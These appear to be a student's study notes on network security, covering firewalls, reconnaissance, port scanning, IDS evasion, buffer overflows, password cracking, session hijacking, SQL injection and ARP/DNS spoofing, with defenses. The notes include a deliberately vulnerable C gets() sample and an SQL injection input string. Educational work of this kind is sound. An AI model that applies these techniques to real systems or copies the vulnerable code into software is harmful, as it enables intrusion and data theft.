Network Security


Shortcut to this page: ntrllog.netlify.app/security

Info provided by Counter Hack Reloaded (Ed Skoudis, Tom Liston), Network Security Principles and Practices (Saadat Malik), and Certified Ethical Hacker v9 Study Guide (Sean-Philip Oriyano)

This is an extension of the computer networking resource. Well, we’ll see where this goes — I’m writing this as the class goes.

Networking Overview

Firewalls

Firewalls decide what kind of traffic is allowed into and out of a network.

Hardware-wise, a firewall isn't anything special; just another computer.

The more general term for what a firewall does is "packet filtering". A firewall is a type of packet-filtering device. (A router can also be configured to be a packet-filtering device.)

Traditional Packet Filters

Traditional packet filters look at the headers of a packet to see what type of packet it is, where it came from, and where it's going. Specifically,

These fields are used to create packet-filtering rules, which are often called Access Control Lists (ACLs).

Action Source Address Destination Address Protocol Source Port Destination Port Control Bit
Allow Inside Network Address Outside Network Address TCP Any 80 Any
Allow Outside Network Address Inside Network Address TCP 80 > 1023 ACK
Deny All All All All All All

If a packet matches multiple rules, the simplest policy a firewall can adopt is to apply the first rule from the top that matches.

Stateful Packet Filters

The problem with traditional packet filters is that they only look at the packet headers, which provides a very limited view of what the traffic is actually doing.

For example, the second rule above allows all TCP traffic to come in as long as the ACK bit is set. Yes, it's expected that outside traffic coming in will have the ACK bit set. But only as responses. What if there are "responses" coming in to our network, but no devices in our network ever made any requests?

This is where stateful packet filters come in. They maintain a dynamic state table that keeps track of connections that are made. This allows them to "remember" earlier packets that went through/out and make decisions about later packets.

Source Address Destination Address Source Port Destination Port Timeout (Seconds)
10.1.1.20 10.34.12.11 2341 80 60
10.1.1.34 10.22.11.45 32141 80 40

Notice that with this table, if we see outside traffic coming in with the ACK bit set going to one of these two devices, then we know it's an actual response.

Proxy-Based Firewalls

Instead of looking at individual packets, proxy-based firewalls look at the contents of the packets. In more OSI terms, proxies focus on the application level.

(The Firewalk section later mentions this very briefly.)

Proxies extract the application data from the packets and rebuild the data into the complete application message. If it looks good, the proxy creates new packets with new headers (containing the same data) and sends them to their destination.

In a sense, they pretend to be the application for a second and see what the application would be receiving.

Which Technology Is Better for Firewalling?

Traditional packet filters are fast, but their intelligence is very limited.

Stateful packet filters are smarter, but slower.

Proxy-based firewalls are the smartest, but they need the most memory and processing power.

It can be a good idea to use a combination of these three in a network. For example, a stateful packet filter can sit between the Internet and the DMZ while a proxy-based firewall can sit between the packet filter and the internal network.

The DMZ (Demilitarized Zone) is a part of the network that sits outside of the internal network. The purpose of it is to separate the machines that need to be exposed to the Internet from those that don't, where the machines that need to be exposed to the Internet are put in the DMZ. These machines are things like Web servers or DNS servers.

The DMZ also acts as a buffer so that if an attacker gets access to a machine in the DMZ, they don't immediately have access to the machines in the internal network.

PIX Firewall

Cisco's PIX firewall was discontinued in 2013. I'll still refer to it in the present tense though.

PIX firewall is a stateful packet filter that runs on its own operating system rather than as an application on top of another OS.

Adaptive Security Algorithm

ASA is the algorithm that PIX uses to examine traffic passing through it and decide what to do with it. It keeps track of:

TCP

When a host makes a connection request to the Internet, PIX stores the packet's state information (the stuff mentioned above). When a response comes back, PIX checks that the sequence number and source/destination information match what it's expecting. Honestly, nothing special, but I included it for the sake of completeness.

What is special however is that PIX does a few things to improve security. PIX proxies the connection until the three-way TCP handshake is complete. If the handshake is not completed within a certain time, the connection is dropped. This way, only legitimate connections are allowed through the PIX.

The other thing PIX does to improve security is to randomize the initial sequence number. So PIX stores the delta between the actual sequence number and PIX's randomized sequence number and replaces each packet's sequence number with the correct number so that the calculations are consistent.

"IP Address Spoofing Flavor 2: Predicting TCP Sequence Numbers to Attack UNIX r-Commands" goes over what happens when sequence numbers are not randomized.

UDP

Since there's no state information available to keep track of for UDP, ASA uses a timer to track UDP sessions. The timer is active as long as there is traffic. If there has been no traffic after a certain amount of time, the timer expires and no more traffic is allowed for that session.

Stateful Inspection of Traffic Using the ASA
Assigning Varying Security Levels to Interfaces

A PIX firewall can have 2-10 interfaces, and each interface can be assigned a level from 0-100. An interface with level 0 means that the interface is connected to a network that is (assumed to be) not secure. Interfaces with level 0 are typically the ones connected to the Internet. Interfaces sitting on the private network are assigned a level of 100.

Traffic can flow freely from a high security level interface to a low one, but from low to high, there needs to be rules defined in the ACLs.

Static NAT is also needed to allow traffic from low to high.

This is because a NAT table is only populated when the inside network initiates the connection. If a device on the Internet tries to initiate a connection with the inside network, there will not be a NAT entry unless a static one is defined ahead of time.

Failover and Redundancy

Failover means that if a PIX starts to fail for whatever reason, a backup PIX can take over. A failover can be stateful, meaning that the current connection information is transferred to the PIX taking over. The state information is transferred via an Ethernet cable between the two PIXes.

So how is a PIX failure detected in the first place? The primary PIX and the secondary PIX periodically send hello packets to each other through a failover cable to see if the other is alive. If two consecutive hello packets are not received within a certain time, testing begins to see which PIX has failed.

If a PIX unit suddenly stops getting hello packets, it doesn't necessarily mean the other PIX unit is the failed one. The PIX's own interfaces might be down.

An ARP test is a test that a PIX unit does to see if its interfaces are working. The PIX sends ARP requests to machines and sees if it gets responses back.

Alias

Similar to how NAT translates source IP addresses, PIX's alias feature translates destination IP addresses.

Suppose a client on the internal network needs to access a web server on the DMZ.

  1. The client queries the external DNS server for the web server's IP address.
  2. The DNS server returns the web server's public IP address.
  3. The client tries to connect to the web server using the public IP address.
  4. PIX uses alias to translate the packet's destination address to the web server's private IP address.
Mail Guard

This feature helps prevent attacks on a mail server by only allowing certain SMTP commands (HELO, MAIL, RCPT, DATA, RSET, NOOP, and QUIT) to be sent to the mail server.

Phase 1: Reconnaisance

Reconnaisance is the act of using publicly available information to investigate a target. This includes techniques such as social engineering, physically breaking into a building, digging through trash, and searching online.

Whois Databases: Treasure Chests of Information

Companies have to register their domains and servers with a registration company, a.k.a. registrar. The registrar assigns the company a domain name and enters it into whois and DNS databases so that the company's servers are accessible to the Internet.

DNS

Companies have to register their DNS servers with the registrar, so information about a company's DNS servers are publicly available in whois databases. And DNS servers store IP addresses, domain names, and mail server information. So attackers querying a company's DNS servers can build a list of possible targets to attack, or at the very least, learn more about the company's network infrastructure.

Interrogating DNS Servers

A zone is a collection of DNS records for a particular domain. For example, this could be what a zone for example.com looks like:

example.com A 203.0.113.09
www.example.com A 203.0.113.09
mail.example.com A 203.0.113.29
example.com MX mail.example.com

A zone transfer is an operation that asks a DNS server to send all information it has about a specified domain. It was designed to be an operation to update secondary DNS servers, but attackers have found a great use for it. Well, it works if the DNS server has zone transfers enabled.

Defenses From DNS-Based Reconnaissance

A split DNS architecture has an external DNS server and an internal DNS server. The external DNS server only has information about servers that need to be accessible to the Internet. The internal DNS server contains all the information about the internal devices so they can communicate with each other.

The internal DNS server never communicates with the Internet. If an internal device needs to resolve a name that is on the Internet, it asks the internal DNS server, which then asks the external DNS server.

Tools

Phase 2: Scanning

Scanning is a process attackers use to find an opening into the network they are trying to attack.

War Driving: Finding Wireless Access Points

Imagine you're looking for free Wi-Fi, so you drive around looking for networks without that lock symbol. This is kinda what war driving is. In more technical terms, war driving is the process of looking for accessible and unsecured WLANs.

A network might have one or more wireless access points that allow devices to connect to that network wirelessly. Attackers target these access points to try to gain entry into a network.

From my understanding, an access point can loosely be thought of as a Wi-Fi range extender. The difference is that access points broadcast wired signals straight from the network while range extenders rebroadcast wireless signals.

(I'm going to use CSULA as an example with absolutely no knowledge about how the network is actually set up. This is all for the sake of example.)

Let's say you connect to CSULA's network by connecting to the Wi-Fi network called "CSULA-SECURE". An access point is what allows you to see "CSULA-SECURE" no matter where you are on campus. Alternatively, an access point can be configured to allow devices to connect to CSULA's network but under a different Wi-Fi network, say "CSULA-EMPLOYEES". In the latter situation, a new WLAN is created.

While the password/authentication required to connect to "CSULA-SECURE" may be strong, if the password/authentication required to connect to "CSULA-EMPLOYEES" is weak, then attackers can enter the network through this unsecured WLAN.

In that little CSULA example, the Wi-Fi names are referred to as ESSIDs (Extended Service Set Identifiers). They're usually publicly visible so that you can find and connect to them. But some ESSIDs can be hidden. While an ESSID may be hidden, that doesn't mean it's necessarily hard to obtain it.

The goal of war driving, from an attacker's perspective, is to find as many of these ESSIDs as possible to increase the chances of finding an unsecured network.

The attacker may already have a specific target in mind, or they may just be looking for any vulnerable targets in the area.

War Driving Method 1: Active Scanning—Sending Probe Packets with NetStumbler

In the 802.11 (a.k.a. Wi-Fi) protocol, a device can send a probe request message to an access point. A probe request is supposed to include the ESSID so that only the access point(s) with that specified ESSID responds. But access points can be (and often are by default) configured to respond to probe requests that specify "Any" as the ESSID. And under the 802.11 protocol, the response must include the ESSID. So an attacker can just send out a bunch of probe requests with ESSID="Any" to all access points in the area and gather their responses, generating a nice list of ESSIDs.

NetStumbler, which is one of the most popular scanning tools, does this probe request stuff. NetStumbler goes even further by collecting a whole slew of information, including encryption method. An attacker using NetStumbler can easily identify networks that are using weak encryption.

War Driving Method 2: Listening for Beacons and Other Traffic with Wellenreiter

So what happens if an access point is configured to ignore probe requests with ESSID="Any"? Well, under the 802.11 protocol, access points periodically send out beacon packets to synchronize their clocks with the devices that are connected. These beacons usually include the ESSID, so an attacker can also capture these beacon packets.

This can be done by (loosely speaking) putting the device into rfmon mode, a.k.a. monitor mode, which allows the device to collect all wireless traffic, not just the traffic directed to that device.

So what happens if an access point is configured to omit ESSIDs from beacons? Well, any wireless traffic between an access point and all devices connected to it will have the ESSID information, so an attacker can just use rfmon mode to collect wireless traffic and get the ESSID from there.

Wellenreiter is a tool that does this rfmon mode stuff. Futhermore, Wellenreiter also listens for ARP and DHCP traffic to determine MAC and IP addresses.

War Driving Method 3: Forcing Deauthentication with ESSID-Jack

Okay, so the ultimate scenario: what if

Well, the attacker can use a tool called ESSID-Jack to force traffic. Before using the tool, the attacker needs to obtain the MAC address of the access point, which can be done by using Wellenreiter to sniff for management/beacon frames, which will have the MAC address.

Once the attacker has the MAC address of the access point, they can pretend to be that access point and send a deauthenticate message to the broadcast address, disconnecting all devices connected to that access point. As the devices try to reconnect, they will generate traffic for the attacker to collect.

War-Driving Defenses

Network Mapping

Let's say the attacker found an access point advertising an unsecured WLAN and was able to connect to the network. The next thing an attacker would want to do is to discover other devices connected to the network and build a map of the network.

Sweeping: Finding Live Hosts

One simple way to do this is to ping all possible addresses and see which addresses respond. They send an ICMP Echo Request packet and look for an ICMP Echo Response message. If there is no response, it could mean the address is not being used or the ping/response is being filtered.

Many networks block ping messages, so an attacker could send a TCP or UDP packet instead.

Traceroute: What Are the Hops?

After discovering which hosts are alive, attackers would want to know how they are connected to each other (the network structure/topology).

They can use traceroute to see how many routers there are from the attacker to any destination.

Tracerouting uses the TTL field in the IP header. The TTL is decremented by the maximum of

Packets are usually sent in less than a second, so the TTL is usually decremented by `1`.

If a router decrements the TTL to `0`, it will send an ICMP Time Exceeded message, where the source address of the message is the IP address of that router. So if an attacker starts a traceroute with a TTL of `1`, it will learn the IP address of the first router. If the attacker starts a traceroute with a TTL of `2`, it will also learn the IP address of the second router. And so on.

Defenses Against Network Mapping

Pretty much, use firewalls and router packet filtering.

Determining Open Ports Using Port Scanners

After knowing the addresses of live systems and gaining a basic understanding of the network topology, an attacker would want to find potential entryways into the systems by finding open ports. In doing this, the attacker can also learn which services are in use. For example, if port 80 is open, then most likely a Web server is running on that machine.

A port scanner sends packets to various ports to determine if any service is listening there.

The Polite Scan: TCP Connect

TCP Connect scans attempt to complete the three-way handshake with each port. So they send a SYN, wait for the SYN-ACK, and then send an ACK along with FIN to tear down the TCP connection.

If a port is closed, the target machine doesn't send the SYN-ACK. Depending on the machine and the network configurations, it could return nothing, a RESET packet, or an ICMP Port Unreachable packet.

Connect scans are really easy to detect because completed TCP connections are logged in the system.

A Little Stealthier: TCP SYN Scans

SYN scans only do the first two parts of the three-way handshake. They send a SYN and wait for the SYN-ACK. If they get the SYN-ACK, they send a RESET to abort the connection.

Same as earlier, if a port is closed, the attacker receives no response, a RESET packet, or an ICMP Port Unreachable packet.

Because the TCP connection is never established, there is no evidence of it in the logs. However, routers, firewalls, and other systems can still detect incoming SYN packets.

Another advantage of SYN scans is that they are faster because they don't have to wait for the connection to be torn down.

Violating the Protocol Spec: TCP FIN, Xmas Tree, and Null Scans

These scans work by sending packets that are not typical in normal network traffic.

FIN scans send packets with the FIN bit set. Xmas Tree scans send packets with the URG, ACK, PSH, RST, SYN, and FIN bits set. And Null scans send packets with no bits set.

For all of these scans, if a port is closed, it returns a RESET packet. If the port is open, it sends nothing. If an attacker doesn't receive a response from a port, it doesn't necessarily mean that that port is open; the traffic could've been blocked by a firewall.

Kicking the Ball Past The Goalie: TCP ACK Scans

It may seem like if we want to defend against port scanning, then we would just block all incoming traffic into our network. However, that would prevent us from going on the Internet (how would we get results from the Internet if we blocked all traffic?)

So we have to allow some traffic into our network, at the very least, packets with the ACK bit set. It should be pretty obvious what an ACK scan is at this point.

Unfortunately for the attackers, different operating systems behave differently in response to ACK packets. For example, some operating systems send a RESET if the port is open, whereas others send it if the port is closed. So an ACK scan isn't really used for finding open ports. It's more for finding out if a machine is running at the target address.

Obscuring the Source: FTP Bounce Scans

The one big problem with all of these scans is that the network can identify where they're coming from by looking at the source IP address of the messages. But there are ways for an attacker to involve another machine so that it looks like the scans are coming from somewhere else.

Some FTP servers allow users to connect to them and request that server to send a file to another system. So an attacker would request the FTP server to forward a file to a specific port on the target machine. Depending on the response, the attacker will know whether the port is open or closed. And best of all (for the attacker), the traffic to the port is coming from the FTP server, so the attacker's IP address is not exposed.

The firewalls and routers may not see the attacker's IP address, but the FTP server's logs will have it.

Idle Scanning: An Even Better Way to Obscure the Source Address

Okay, so what if there's no FTP server for the attacker to use? If the attacker can find an idle machine -- one that is not sending any/much traffic -- then the attacker can communicate with this machine and analyze the IP ID field of its messages.

The IP header has an IP ID field that is used for packet fragmentation. If a packet is too big (recall MTU), it gets broken up into smaller fragments. All those fragments have the same IP ID value so that they can be reassembled correctly at the target destination.

Obviously, the IP ID field must be unique, otherwise unrelated packet fragments get combined into one big mess. Most operating systems, notably Windows, just increment the IP ID field by 1 to achieve uniqueness.

  1. The attacker picks a machine that is idle and has a predictable IP ID field.
  2. The attacker sends a SYN packet to that machine. This allows the attacker to learn the current value of the machine's IP ID (we'll call it `X`) when it responds with the SYN-ACK.
  3. The attacker sends a SYN packet to the target port and spoofs the source IP address so it looks like the SYN packet is coming from the idle machine.
  4. The attacker sends a SYN packet to the idle machine and looks at the IP ID field.

If the IP ID value is `X+1`, then the port is closed.

When the idle machine "sent" the SYN packet to the target port, if the port was closed, it would've sent nothing or a RESET to the idle machine. The idle machine, in response to either of these two situations, didn't send any packets, keeping the IP ID field at `X`.

Then when the attacker sent a SYN packet to the idle machine, the idle machine sent a SYN-ACK to the attacker, incrementing the IP ID field by `1`.

If the IP ID value is `X+2`, then the port is most likely open.

When the idle machine "sent" the SYN packet to the target port, if the port was listening, it would've sent a SYN-ACK to the idle machine. The idle machine, getting a SYN-ACK for non-existent connection, would've sent a RESET packet, incrementing the IP ID field by `1`.

Then when the attacker sent a SYN packet to the idle machine, the idle machine sent a SYN-ACK to the attacker, incrementing the IP ID field by `1` again.

It is not guaranteed to be open because the machine may not be truly idle; it may send a packet in response to something completely unrelated. So an IP ID value of `X+2` could falsely report a closed port as open.

Don’t Forget UDP!

UDP scanning is another option, but it's less reliable. Because there's no connection that needs to be established, a UDP port does not need to send anything at all. So no response could either mean the port is closed, the port is open and not sending anything, or the port is open but the packets are getting filtered.

Setting Source Ports for a Successful Scan

To reduce their chances of getting blocked by traffic filtering, attackers can disguise their packets to look like normal traffic. One way to do this is to set the source port of their packets to something that one would reasonably expect traffic from. For example,

Decoys Aren’t Just for Duck Hunters Any More

Attackers can also try to hide their packets by generating decoy packets with fake source addresses. The attacker's actual address must be included along with the fake addresses so that the attacker can get the results from the scan back.

Useful Timing Options

Nmap (a port scanning tool) has different options for how fast or slow packets should be sent. Maybe they want to avoid being detected and will spread out the packets. Or maybe they want to conduct a scan as quickly as possible and send out packets quickly.

A Critical Feature: Active Operating System Fingerprinting

Besides finding out which ports are open, the attacker would also want to know what operating system(s) they're dealing with. That way, they can research particular vulnerabilities for that system.

They do this by taking advantage of the fact that RFCs do not define how a system should respond to invalid combinations of TCP control bits (recall the FIN, Xmas Tree, and Null Scans). Therefore, different operating systems respond to unexpected flags differently.

So this is a list of valid + invalid packets attackers can send:

This is called TCP stack fingerprinting.

Another way to help determine the operating system is to analyze the sequence number (similar to idle scanning). Some operating systems have predictable sequence numbers, so an attacker could send SYN packets to open ports and see how the sequence number in the SYN-ACK packets change.

Defenses Against Port Scanning

Determining Firewall Filter Rules with Firewalk

I've briefly mentioned that traffic blocked by a firewall can make the results of scans harder to interpret (if there's no response, was the port closed or was the traffic filtered?). So naturally, if attackers can figure out what the filtering rules are, they can further determine which ports are open.

Firewalk is a tool that helps determine filtering rules.

How Firewalk Works

The main idea behind Firewalk is that it sends a packet to a machine that is on the other side of the firewall (we'll call it the target machine), and if it receives a response from that machine, then the packet is not being filtered by the firewall. If no response is received, then the packet was likely filtered by the firewall.

First, Firewalk determines the number of router hops to the firewall by sending a series of packets with incrementing TTLs (like in traceroute).

Once Firewalk knows how many hops it takes to reach the firewall, it will then start sending packets to the target machine on the other side of the firewall. The packets will have a TTL of (number of hops to firewall + `1`).

If a packet gets through the filter, an ICMP Time Exceeded message will be sent by the machine that is exactly one hop away from the firewall. Or, if the machine that is exactly one hop away from the firewall is the target machine, then it might respond with an ICMP Port Unreachable or even a SYN-ACK. Whatever the response is, if the attacker received something, then they know the firewall allowed their packet through.

The TTL is important for Firewalk to work correctly; it can't just send a packet to the target machine with an arbitrary TTL. If the TTL is too small, then the packet won't even reach the firewall.

Firewalk Focuses on Packet Filters, Not Proxies

Firewalk doesn't work against proxy-based firewalls because proxies do not forward packets. Instead, the proxy gets the packet on one side of the gateway and creates a new connection on the other side, wiping the TTL information.

Firewalk Defenses

Vulnerability-Scanning Tools

Now, the attackers have a lot of information, but that information alone isn't enough for attackers to get into target systems. What they need is a vulnerability to exploit.

Vulnerability scanners automate the process of connecting to a target system and checking to see if there are any vulnerabilities. They have a database of known vulnerabilities and check to see if any of them are present on the target.

For example, if the attacker knows they're dealing with Windows machines, they can check to see if they're misconfigured to allow the attacker to gather a complete list of users.

So, What Does an Attacker Do with These Results?

After the tool generates a list of discovered vulnerabilities, attackers look for particular exploits based on the vulnerabilities.

Vulnerability-Scanning Defenses

Intrusion Detection System and Intrusion Prevention System Evasion

In case you haven't heard, scanning tools are pretty noisy. Port scanners and vulnerability scanners send (tens/hundreds of) thousands of packets to the target network, and all of this traffic can be detected by IDS and IPS tools.

How Network-Based IDS and IPS Tools Work

Traffic associated with an attack typically looks different from normal traffic. Network-based IDSs and IPSs have a database of attack signatures that they try to match against network traffic. If they think there's an attack going on, they have some way of warning an admin.

How Attackers Can Evade Network-Based IDSs and IPSs

By changing the packet structure or syntax in a way that the IDS or IPS does not expect.

IDS and IPS Evasion at the Network Level

Recall that IP packets can be fragmented and reassembled once they reach the destination.

In order to analyze the traffic, IDS/IPS systems need to store the packets in memory/buffers. One thing attackers can do is to send a bunch of fragments, enough to overload their memory/buffers.

The Tiny Fragment Attack

However, something more interesting attackers can do is to send fragments in creative ways. For example, the attacker can split their packet into two fragments so that neither of them look suspicious on their own, but result in a dangerous packet when combined.

The Fragment Overlap Attack

This one is even more interesting. The fragment overlap attack is based on manipulating the fragment-offset field of the IP header. One fragment has the TCP header, and a piece of harmless-looking data that doesn’t trigger the IDS/IPS. The second fragment has an offset value that intentionally causes this second fragment to overlap the first fragment. When the two fragments are combined, a dangerous packet is created.

IDS and IPS Evasion Defenses

Tools

Phase 3: Gaining Access Using Application and Operating System Attacks

After scanning the network and building a list of target systems and their vulnerabilities, it's time for the attacker to attack.

Buffer Overflow Exploits

Attackers carry out buffer overflow exploits by sending a bunch of data to a program, more data than the program is expecting. This works when the (developer who wrote the) program doesn't check the size of user input before moving it around in memory.

Stack-Based Buffer Overflow Attacks

Suppose we have this program that asks for user input.

void ask_input(const char *field)
{
    char myBuffer[50];
    printf("Enter your %s:\n", field);
    gets(buffer);
    return;
}

This is what the stack would look like when that function is called:

The return pointer is where execution goes after the function returns.

myBuffer can hold 50 bytes. What happens if more than 50 bytes is entered? (For example, let's say a long string of As.)

The return pointer is now filled with a bunch of As. So when the computer tries to go to the next memory location of 0x41414141..., the program will crash. (41 is A in hexadecimal.)

So how can an attacker take advantage of this? The attacker could enter ASCII characters corresponding to machine language code that executes whatever command they want. They would need to enter it in a way such that myBuffer contains the malicious command* and the return pointer is overwritten to point back into myBuffer†.

*†If this sounds complicated, it's because it is. Everything has to be formatted precisely in order for this to work.

An stack that has been overwritten is called a smashed stack.

The most useful command to force the computer to run is to open the command shell, because then the attacker can run any command they want on the shell.

Finding Buffer Overflow Vulnerabilities

How do attackers know a program is susceptible to a stack-based buffer overflow attack, especially if they don't have access to the source code? One way is to analyze the program by using a debugger. A debugger can show the outputs of a CPU's registers, including the value of the return pointer.

Suppose the attacker enters a string of As ("AAA...AAA") and sees this when they inspect the return pointer:

return pointer = AAAA

Now they need to figure out which part of the string is being injected into the return pointer. So they can try a string like "ABCDEF...XYZABC...". Suppose they see this return pointer:

return pointer = DEFG

Next with "ABCDEF1DEF2DEF3...":

return pointer = DEF8

Now the attacker knows exactly which location in the string modifies the return pointer.

But what value should the return pointer be? That is, how does the attacker know exactly what address their malicious command will be at?

Instead of finding that exact address, they can put in a guess and try to force the execution towards their malicious command.

A NOP (No Operation) instruction tells the processor to do nothing for a single CPU cycle.

Attackers can prepend their malicious command with a bunch of NOPs, creating a NOP sled. If the attacker luckily guesses a memory address that contains a NOP, then execution will go through all the NOPs to eventually run the malicious command.

The combined NOP sled and machine language code (malicious command) is sometimes called the exploit's egg. The entire package, including the code that alters the return pointer, is formally called an exploit, informally called a sploit.

Buffer Overflow Attack Defenses

StackGuard is a security mechanism built into compiled programs that helps protect against stack buffer overflow attacks. It inserts a field called a canary next to the return pointer on the stack. The canary is a hash of the current return pointer and a secret. If the system detects that the canary has been altered, then it stops execution of the program.

The term canary comes from the fact that coal miners used to bring canaries into coalmines. If the canary died, then it indicated that the air was bad.

Stack Shield is a program that protects against stack buffer overflow attacks by storing the return pointer in a location outside of the stack.

Password Attacks

Passwords are generally stored in a file somewhere on a system. Each password in the file is stored in their encrypted/hashed format so that if an attacker somehow obtained access to the file, the passwords wouldn't be obvious. When a user logs in, the system encrypts/hashes the inputted password and compares it with the encrypted/hashed entry in the password file, granting the user access if they match.

Password Guessing Through Login Attacks

Obviously, an attacker can try to guess random passwords to see if they get lucky. But this is slow, because the attacker has to wait for the system to validate it. Also, the system may limit how many attempts are allowed.

The Art and Science of Password Cracking

Instead, an attacker can bypass the system validation completely by obtaining the password file. Then they generate password guesses and encrypt/hash them, comparing them with any entries in the password file to see if there's a match. This is password cracking.

Generating passwords, encrypting/hashing them, and comparing them against the password file can all be done locally on the attacker's machine. They can guess thousands or tens of thousands of passwords per second.

A rainbow table is a precomputed list of encrypted/hashed passwords. The attacker generates this list ahead of time so that if the attacker is able to obtain the password list, the attacker just has to compare entries in the password list with entries in the rainbow table.

Retrieving the Encrypted Passwords

Of course, obtaining the password file is easier said than done.

Windows

In Windows, passwords are stored in the SAM database of the machine. In order to access the SAM database, the attacker would have to find a way to gain admin access to the machine.

If trying to access the SAM is too difficult, an attacker could try looking in other places. For example, a copy of the SAM database is stored in a file when a backup of the machine is performed.

One more alternative is to sniff the network for Windows challenge-response authentication packets.

Linux

Passwords in Linux systems are stored in /etc/passwd, /etc/shadow, or /etc/secure. Again, the password file is only readable by users with root access, so the attacker must find a way to gain root access. One way is to perform a buffer overflow attack of a program that runs as root.

Another way is to cause a process that reads the password file to crash. When a process crashes, it might generate a core dump file, which contains the contents of the process's memory before it crashed. So if an attacker can crash a process that reads the password file, then the core file might have the entries of the password file.

Web Application Attacks

We're all told to use https instead of http. The "s" is for SSL (now replaced by TLS), which encrypts traffic from the browser to the server. However, there are still many attacks that can be performed even if SSL/TLS is used. Fundamentally, this is because SSL/TLS only protects data in transit; it doesn't prevent bad data from being sent.

Account Harvesting

Account harvesting is the process of discovering and collecting legitimate user IDS and/or passwords. This technique works when an application has a different error message for users who type in an incorrect user ID than for users who type in a correct user ID with an incorrect password. For example, suppose an attacker tries a user ID + password combo and the application says "Invalid user ID". Then suppose the attacker tries another user ID + password combo and the application says "Invalid password". Then the attacker knows the user ID belongs to an actual user.

Undermining Web Application Session Tracking and Other Variables

After a user logs in to a Web application, most Web applications generate a session ID to keep track of the user’s browsing session. This session ID is passed back and forth for all interactions (e.g., navigating pages, submitting forms) so that the application can keep track of which user is doing what.

Implementing Session IDs in Web Applications

There are three common ways session IDs are implemented:

Attacking Session Tracking Mechanisms

If an attacker can guess a valid session ID, then they can trick the application into thinking that the attacker is another user. This is called session cloning.

If the application generates predictable session IDs, then this makes it easier for the attacker to guess them. To see if the session IDs are predictable, the attacker creates an account and sees what the session IDs look like every time they log in.

If they manage to guess a valid session ID, then they can perform the attack by modifying the URL (if URL session tracking is used), changing the hidden form elements (if they're used), or by editing the cookie file (if cookies are used).

There are also Web proxy tools allow information passing between the browser and the server to be inspected and edited. The attacker starts a proxy on their machine so that all traffic goes through the proxy.

Defending Against Web Application Session Tracking and Variable Alteration Attacks

SQL Injection

Often, the values entered in user input fields are used to build SQL queries. If the attacker enters part of an SQL statement in the user input field, the resulting query could return or update information that the attacker is not authorized to access.

For example, suppose an application has a user input field for a tracking number. Suppose the application builds the SQL query like this:

SELECT * FROM orders WHERE tracking_number = $_REQUEST['tracking_number']

where $_REQUEST['tracking_number'] is the value of the input field. If the attacker enters "123456789 OR TRUE", then the SQL query would look like:

SELECT * FROM orders WHERE tracking_number = 123456789 OR TRUE

This ends up returning all orders, not just the one where the tracking number is 123456789.

Defenses Against SQL Injection

Tools

Phase 3: Gaining Access Using Network Attacks

Besides using application or OS attacks, attackers can also use network attacks.

Sniffing

Attackers can use a sniffer to collect all traffic from a LAN. First, they have to gain access to a machine in the LAN (or connect their own machine to the LAN). Then they put the network interface in promiscuous mode. Normally, network interfaces only accept frames that have their MAC address as the destination. But in promiscuous mode, network interfaces accept all frames, regardless of the destination MAC address.

An attacker must also have admin privileges to run a sniffer. As we saw earlier, one way to gain access is to use an application or OS attack, such as a buffer overflow attack.

One thing an attacker can do with a sniffer is to gather user IDs and passwords from clear-text protocols. Furthermore, if some of those credentials belong to accounts on other machines, they can take over another machine and run a sniffer there. This is called an island-hopping attack.

Sniffing Through a Hub: Passive Sniffing

I believe hubs became obsolete in the early 2000s. But the book was also written in the early 2000s, so here we are.

LANs used to be implemented with hubs. A hub forwards all traffic to all machines in the LAN (can you see why hubs are obsolete?). This is perfect for a passive sniffer, which can just naturally receive all the traffic.

Active Sniffing: Sniffing Through a Switch and Other Cool Goodies

LANs today are implemented using switched Ethernet. A switch looks at the destination MAC address of a frame and forwards it to the appropriate interface, meaning that only the intended target receives the traffic. This makes passive sniffers useless.

So active scanners have been developed to allow sniffing in a switched environment. These scanners are active because they inject traffic into the LAN to force traffic to be routed to the attacker.

Foiling Switches with Floods

A MAC flood (see A2) Link Layer Security) can cause a switch to act like a hub. When a switch's CAM table is full, it can start forwarding all traffic to all its interfaces. So an attacker can take advantage of this by flooding the LAN with random spoofed source MAC addresses.

Foiling Switches with Spoofed ARP Messages

If a switch is configured to stop storing new MAC addresses after its CAM table reaches a certain limit, then a MAC flood won't work. What the attacker can do then is to pretend to be the network's default gateway.

The attacker does this by sending fake ARP messages. The messages are fake because the attacker puts the default gateway's IP address* as the source address, instead of the attacker's IP address. When the switch receives these messages, it will associate the interface that the messages came from with the default gateway in its ARP table. So now all traffic will be forwarded to the attacker.

*The attacker would've learned the IP address of the default gateway from network mapping.

But do you see a problem? All the traffic that is now going to the attacker is not going to the Internet. So any clients making requests won't receive any responses. The attacker must configure IP forwarding on their machine so that any traffic it receives gets forwarded to the actual default router.

Foiling Switches with Port Stealing

If the IP address-to-MAC address mappings are hard-coded into the ARP tables, then ARP spoofing won't work. The attacker can still pretend to be the default gateway; the attacker just has to go one layer lower.

The attacker does this by sending fake Ethernet frames. The frames are fake because the attacker puts the default gateway's MAC address* as the source address, instead of the attacker's MAC address.

*The attacker can learn the MAC address of the default gateway by sending an ARP request ("who is 192.168.1.1"?) or through passive sniffing for gratuitous ARPs.

(This is the exact same picture as the ARP spoofing one!)

The same problem from before exists. Except this time, IP forwarding can't be used here. In the author's words, "the packets can’t simply be forwarded back through the switch to the gateway, because the attacker went to a great deal of trouble to convince the switch that the MAC address of the gateway was located on the same physical switch port as the attacker".

The attacker gets around this problem by temporarily holding the packets meant for the default gateway and sending ARP requests to the default gateway. When the default gateway responds, the switch receives this response and remaps the MAC address to the correct port in its CAM table. Then the attacker forwards all the packets it was holding, allowing the traffic to go to the Internet.

Sniffing and Spoofing DNS

Recall that the job of DNS is to provide the IP address of a server. So if a user wants to go to chase.com, DNS will provide the IP address of one of Chase's servers so that the user's browser can establish a TCP connection with that server.

A DNS spoofing attack works by sending false DNS information to a victim. First, the attacker sniffs the LAN, waiting for the victim to make a DNS query. When the victim makes a DNS query, the attacker sends back a fake DNS response, advertising that chase.com resolves to the attacker's IP address. If the attacker has made a website that looks exactly like Chase's website, the victim will think they are logging in to chase.com, when they are actually entering their email and password to a fake site.

Sniffing HTTPS

HTTPS traffic is encrypted, so even if the attacker can sniff this traffic, the attacker can't decrypt it. Only the browser and the server can decrypt the traffic because the browser and the server established an SSL connection with each other (so only they have the keys to encrypt/decrypt). If the attacker can get the victim's browser to establish an SSL connection with the attacker, then the attacker can decrypt the traffic.

